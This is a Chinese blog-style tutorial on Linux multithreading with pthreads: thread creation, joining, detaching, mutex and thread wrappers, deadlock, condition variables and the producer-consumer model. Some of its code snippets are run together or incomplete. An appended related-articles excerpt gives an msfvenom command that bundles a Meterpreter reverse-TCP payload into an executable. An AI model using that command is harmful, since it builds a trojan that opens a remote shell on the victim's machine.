Linux中的多线程
Linux线程概念
在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列”
进程是系统分配资源的基本实体
线程是CPU调度的基本单位
POSIX线程库
创建线程
功能:创建一个新的线程
原型int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *
(*start_routine)(void*), void *arg);
参数thread:返回线程IDattr:设置线程的属性,attr为NULL表示使用默认属性start_routine:是个函数地址,线程启动后要执行的函数arg:传给线程启动函数的参数
返回值:成功返回0;失败返回错误码
ps -aL
查看所有执行流
两个进程pid相同,但lwp不同,lwp->(light weight process)轻量级进程
线程的私有资源
1.PCB属性私有
2.有一定的私有上下文结构
3.独立的栈结构
线程对应的函数运行完成后,线程也会结束。
线程等待
线程等待 为什么需要线程等待?
已经退出的线程,其空间没有被释放,仍然在进程的地址空间内。
创建新的线程不会复用刚才退出线程的地址空间。
功能:等待线程结束
原型int pthread_join(pthread_t thread, void **value_ptr);
参数thread:线程IDvalue_ptr:它指向一个指针,后者指向线程的返回值
返回值:成功返回0;失败返回错误码
线程终止
功能:线程终止
原型void pthread_exit(void *value_ptr);
参数value_ptr:value_ptr不要指向一个局部变量。
返回值:无返回值,跟进程一样,线程结束的时候无法返回到它的调用者(自身)
class ThreadData
{
public:pthread_t tid;char namebuffer[64];
};
void* start_routine(void* args)//可重入函数
void* start_routine(void* args)
{//可重入函数ThreadData* td=static_cast<ThreadData*>(args);int cnt=10;while (cnt){//cout<<"new thread create success, name: "<<td->namebuffer<<endl;cout<<"cnt: "<<cnt<<" &cnt: "<<&cnt<<endl;cnt--;sleep(1);}//delete td;pthread_exit(nullptr);//return nullptr;
}
vector<ThreadData*> threads;
#define NUM 10for(int i=0;i<NUM;i++){ThreadData* td= new ThreadData();snprintf(td->namebuffer,sizeof(td->namebuffer),"%s : %d","thread",i+1);pthread_create(&td->tid,nullptr,start_routine,td);threads.push_back(td);}for(auto& iter: threads){cout<<"create thread: "<<iter->namebuffer<<" : "<<iter->tid<<" success"<<endl;}for(auto& iter:threads){int n=pthread_join(iter->tid,nullptr);assert(n==0);cout<<"join : "<<iter->namebuffer<<" success"<<endl;delete iter;}cout<<"main thread quit"<<endl;
void* start_routine(void* args)
{//可重入函数ThreadData* td=static_cast<ThreadData*>(args);int cnt=10;while (cnt){//cout<<"new thread create success, name: "<<td->namebuffer<<endl;cout<<"cnt: "<<cnt<<" &cnt: "<<&cnt<<endl;cnt--;sleep(1);}//delete td;pthread_exit(nullptr);//return nullptr;return (void*)td->number;
}
for(auto& iter:threads){void* ret=nullptr;int n=pthread_join(iter->tid,&ret);//void** retp; *retp=(void*)td->numberassert(n==0);cout<<"join : "<<iter->namebuffer<<" success,number: "<<(long long)ret<<endl;delete iter;}cout<<"main thread quit"<<endl;
线程异常,收到信号,整个进程都会退出。
线程被取消其退出码为-1(PTHREAD_CANCELED)
pthread_t tid;pthread_create(&tid,nullptr,start_routine,(void*)"thread1");string main_id = changeId(pthread_self());pthread_detach(tid);
在主线程中将新线程分离
int g_val=100;
string changeId(const pthread_t& thread_id)
{char tid[120];snprintf(tid,sizeof tid," 0x%lx",thread_id);return tid;
}
void* start_routine(void* args)
{string threadname=static_cast<const char*>(args);int cnt=5;while(true){cout<<threadname<<"running ..."<<changeId(pthread_self())<<" g_val: "<<g_val<<" &g_val: "<<&g_val<<endl;g_val++;sleep(1);}
}
pthread_t tid;pthread_create(&tid,nullptr,start_routine,(void*)"thread1");string main_id = changeId(pthread_self());pthread_detach(tid);cout<<"main thread running, ...new thread id: "<<changeId(tid)<<"main thread id: "<<main_id<<endl;while(true){cout<<"main thread running... new thread id: "<<changeId(tid)<<"main thread id: "<<main_id<<" g_val: "<<g_val<<" &g_val: "<<&g_val<<endl;sleep(1);}
__thread int g_val=100;
添加__thread ,可以将一个内置类型设为线程局部储存,给每个线程各一份
封装thread
#pragma once#include<iostream>
#include<string>
#include<cstring>
#include<functional>
#include<pthread.h>using namespace std;class Thread;
class Context
{
public:Thread* this_;void* args_;
public:Context():this_(nullptr),args_(nullptr){}~Context(){}
};class Thread
{
public:typedef function<void*(void*)> func_t;const int num =1024;
public:Thread(func_t func,void* args,int number):func_(func),args_(args){char buffer[num];snprintf(buffer,sizeof buffer,"thread-%d",number);name_=buffer;Context* ctx=new Context();ctx->this_=this;ctx->args_=args_;int n=pthread_create(&tid_,nullptr,start_routine,ctx);}static void* start_routine(void* args){Context* ctx=static_cast<Context*>(args);void* ret=ctx->this_->run(ctx->args_);delete ctx;return ret;}void join(){int n=pthread_join(tid_,nullptr);}void* run(void* args){return func_(args);}~Thread(){}
private:string name_;pthread_t tid_;func_t func_;void* args_;
};
void* thread_run(void* args)
{string work_type=static_cast<const char*>(args);while(true){cout<<"我是一个新线程,我正在作: "<<work_type<<endl;sleep(1);}
}unique_ptr<Thread> thread1(new Thread(thread_run,(void*)"hellothread",1));unique_ptr<Thread> thread2(new Thread(thread_run,(void*)"hellothread",2));unique_ptr<Thread> thread3(new Thread(thread_run,(void*)"hellothread",3));thread1->join();thread2->join();thread3->join();
互斥量的接口
初始化互斥量
初始化互斥量有两种方法:
方法1,静态分配:
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER
方法2,动态分配:
int pthread_mutex_init(pthread_mutex_t *restrict mutex, const pthread_mutexattr_t *restrict
attr); 参数: mutex:要初始化的互斥量 attr:NULL
销毁互斥量
销毁互斥量需要注意:
使用 PTHREAD_ MUTEX_ INITIALIZER 初始化的互斥量不需要销毁
不要销毁一个已经加锁的互斥量
已经销毁的互斥量,要确保后面不会有线程再尝试加锁
int pthread_mutex_destroy(pthread_mutex_t *mutex);
互斥量加锁和解锁
int pthread_mutex_lock(pthread_mutex_t *mutex);
int pthread_mutex_unlock(pthread_mutex_t *mutex);
返回值:成功返回0,失败返回错误号
单纯的 i++ 或者 ++i 都不是原子的,有可能会有数据一致性问题
大多数体系结构都提供了swap或exchange指令,该指令的作用是把寄存器和内存单 元的数据相交换,由于只有一条指令,保证了原子性,即使是多处理器平台,访问内存的 总线周期也有先后,一 个处理器上的交换指令执行时另一个处理器的交换指令只能等待总线周期。
共识:
1.CPU内寄存器只有一套被所有的执行流共享
2.CPU内寄存器的内容是每个执行流私有的->运行时上下文
封装mutex
#pragma once#include<iostream>
#include<pthread.h>class Mutex
{
public:Mutex(pthread_mutex_t* lock_p=nullptr):lock_p_(lock_p){}void lock(){if(lock_p_) pthread_mutex_lock(lock_p_);}void unlock(){if(lock_p_) pthread_mutex_unlock(lock_p_);}~Mutex(){}
private:pthread_mutex_t* lock_p_;
};class LockGuard
{
public:LockGuard(pthread_mutex_t* mutex):mutex_(mutex){mutex_.lock();}~LockGuard(){mutex_.unlock();}
private:Mutex mutex_;
};
死锁
死锁四个必要条件
互斥条件:一个资源每次只能被一个执行流使用
请求与保持条件:一个执行流因请求资源而阻塞时,对已获得的资源保持不放
不剥夺条件:一个执行流已获得的资源,在末使用完之前,不能强行剥夺
循环等待条件:若干执行流之间形成一种头尾相接的循环等待资源的关系
Linux线程同步
条件变量
当一个线程互斥地访问某个变量时,它可能发现在其它线程改变状态之前,它什么也做不了。
例如一个线程访问队列时,发现队列为空,它只能等待,只到其它线程将一个节点添加到队列中。这种情 况就需要用到条件变量。
条件变量函数 初始化
int pthread_cond_init(pthread_cond_t *restrict cond,const pthread_condattr_t *restrict
attr);
参数: cond:要初始化的条件变量 attr:NULL
销毁
int pthread_cond_destroy(pthread_cond_t *cond)
等待条件满足
int pthread_cond_wait(pthread_cond_t *restrict cond,pthread_mutex_t *restrict mutex); 参数: cond:要在这个条件变量上等待 mutex:互斥量,后面详细解释
唤醒等待
int pthread_cond_broadcast(pthread_cond_t *cond);
int pthread_cond_signal(pthread_cond_t *cond);
#include<iostream>
#include<string>
#include<unistd.h>
#include<pthread.h>using namespace std;
int tickets=1000;
pthread_mutex_t mutex= PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond=PTHREAD_COND_INITIALIZER;void* start_routine(void* args)
{char* name= static_cast<char*>(args);while (true){pthread_mutex_lock(&mutex);pthread_cond_wait(&cond,&mutex);cout<<name<<" -> "<<tickets<<endl;tickets--;pthread_mutex_unlock(&mutex);}}
int main()
{//通过条件变量控制线程执行pthread_t t[5];for(int i=0;i<5;i++){char* name= new char[64];snprintf(name,64,"thread: %d",i+1);pthread_create(t+i,nullptr,start_routine,name);}while(true){sleep(1);pthread_cond_signal(&cond);//唤醒条件变量下的线程}for(int i=0;i<5;i++){pthread_join(t[i],nullptr);}return 0;
}
生产者消费者模型
总结(321原则):
3种关系:
生产者和生产者(互斥)
消费者和消费者(互斥)
生产者和消费者(互斥->保证共享资源的安全性,同步)
2种角色:
生产者线程,消费者线程
1个交易场所:
一段特点结构的缓存区
相关文章:

Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...

《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...

征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...

我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...

MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...

01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...

畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...

二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...

《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...

redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...

一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...

医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...

幂等性接口实现
1、什么是幂等性 幂等(idempotence),这个词源自数学,幂等性是数学中的一个概念,常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说,就是如果方法调用一次和调用多次产生的效果是相同的&…...

C++ 语言特性29 - 协程介绍
一:什么是协程 C20 引入了协程(coroutine),这是 C 标准库中一个强大的新特性。协程是一种可以在执行中暂停并随后恢复的函数,允许程序在异步或并行场景下高效管理任务,而不需要传统的线程或复杂的回调机制。…...

[Day 84] 區塊鏈與人工智能的聯動應用:理論、技術與實踐
AI在公共安全中的應用實例 引言 隨著技術的進步,人工智能(AI)在公共安全領域的應用越來越廣泛。AI不僅能夠提高安全部門的工作效率,還能有效幫助預防和處理各類公共安全事件。從人臉識別、行為分析到災害預測,AI正在…...

八大排序--01冒泡排序
假设有一组数据 arr[]{2,0,3,4,5,7} 方法:开辟两个指针,指向如图,前后两两进行比较,大数据向后冒泡传递,小数据换到前面。 一次冒泡后,数组中最大…...

【Kubernetes】常见面试题汇总(五十)
目录 112.考虑一个公司要向具有各种环境的客户提供所有必需的分发产品的方案。您如何看待他们如何动态地实现这一关键目标? 113.假设一家公司希望在从裸机到公共云的不同云基础架构上运行各种工作负载。在存在不同接口的情况下,公司将如何实现这一目标&…...

Linux 操作系统中的 main 函数参数和环境变量
在聊进程替换之前,有一些基础知识我们得先弄清楚。掌握了这些内容,不仅能让你更轻松地理解 Shell 是如何工作的,还能为之后的进程替换操作铺好路。进程替换说白了就是 Shell 的基本原理,它能把一个命令的输出直接当成另一个命令的…...

Vue项目中通过插件pxtorem实现大屏响应式
一、原理 rem单位代表的是根节点的font-size大小,所以当我们在页面上使用rem去替代px的时候,就可以通过修改根节点font-size的值,动态地让页面上的元素根据不同浏览器宽高下去实现变化。 二、工具 1.postcss-pxtorem 作用:在编…...

(Django)初步使用
前言 Django 是一个功能强大、架构良好、安全可靠的 Python Web 框架,适用于各种规模的项目开发。它的高效开发、数据库支持、安全性、良好的架构设计以及活跃的社区和丰富的文档,使得它成为众多开发者的首选框架。 目录 安装 应用场景 良好的架构设计…...

【星汇极客】单片机竞赛之2024睿抗机器人大赛-火线速递赛道(持续更新)
前言 本人是一名嵌入式学习者,在大学期间也参加了不少的竞赛并获奖,包括但不限于:江苏省电子设计竞赛省一、睿抗机器人国二、中国高校智能机器人国二、嵌入式设计竞赛国三、光电设计竞赛国三、节能减排竞赛国三。 后面会经常写一下博客&…...

生信科研,教授(优青)团队一站式指导:高通量测序技术--农业植物基因组分析、组蛋白甲基化修饰、DNA亲和纯化测序、赖氨酸甲基化
组蛋白甲基化修饰工具(H3K4me3 ChIP-seq) 组蛋白甲基化类型也有很多种,包括赖氨酸甲基化位点H3K4、H3K9、H3K27、H3K36、H3K79和H4K20等。组蛋白H3第4位赖氨酸的甲基化修饰(H3K4)在进化上高度保守,是被研究最多的组蛋白修饰之一。 DNA亲和纯化测序 DNA亲…...

【Immich部署与访问】自托管媒体文件备份服务 Immich 本地化部署与远程访问存储数据
文章目录 前言1.关于Immich2.安装Docker3.本地部署Immich4.Immich体验5.安装cpolar内网穿透6.创建远程链接公网地址7.使用固定公网地址远程访问 前言 本篇文章介绍如何在本地搭建lmmich图片管理软件,并结合cpolar内网穿透实现公网远程访问到局域网内的lmmich&#…...

AI少女/HS2甜心选择2 仿逆水寒人物卡全合集打包
内含AI少女/甜心选择2 仿逆水寒角色卡全合集打包共6张 内含:白灵雪魅落霞飞雁君临华歌白君临华歌黑平野星罗晚香幽韵 下载地址: https://www.51888w.com/436.html 部分演示图:...

C/C++逆向:数据类型识别
在逆向工程中,数据类型识别是理解程序逻辑的重要步骤,因为它直接影响对程序逻辑和功能的理解,识别出数据类型有助于确定变量的含义和函数的行为。在分析恶意软件或者寻找安全漏洞时,识别数据类型能够帮助发现代码中的潜在问题。例…...

PASCAL VOC 2012数据集 20类物体,这些物体包括人、动物(如猫、狗、鸟等)、交通工具(如车、船、飞机等)以及家具(如椅子、桌子、沙发等)。
VOC2012数据集是PASCAL VOC挑战赛官方使用的数据集之一,主要包含20类物体,这些物体包括人、动物(如猫、狗、鸟等)、交通工具(如车、船、飞机等)以及家具(如椅子、桌子、沙发等)。每个…...
题目:最左边的数字
问题 - 1060 (hdu.edu.cn) 解题思路: 数字很大,使用科学计数法。则,我们需要的是a的整数位,最终求出a即可。 取对数:nlgnmlga,移项:lganlgn-m,接下来我们需要求m。 …...

第 4 章 Spring IoC容器之BeanFactory
Spring 的 IoC 容器是一个提供 IoC 支持的轻量级容器,除了基本的 IoC 支持,它作为轻量级容器还提供了 IoC 之外的支持。 Spring 提供了两种容器类型:BeanFactory 和 ApplicationContext: BeanFactory,基础类型 IoC 容…...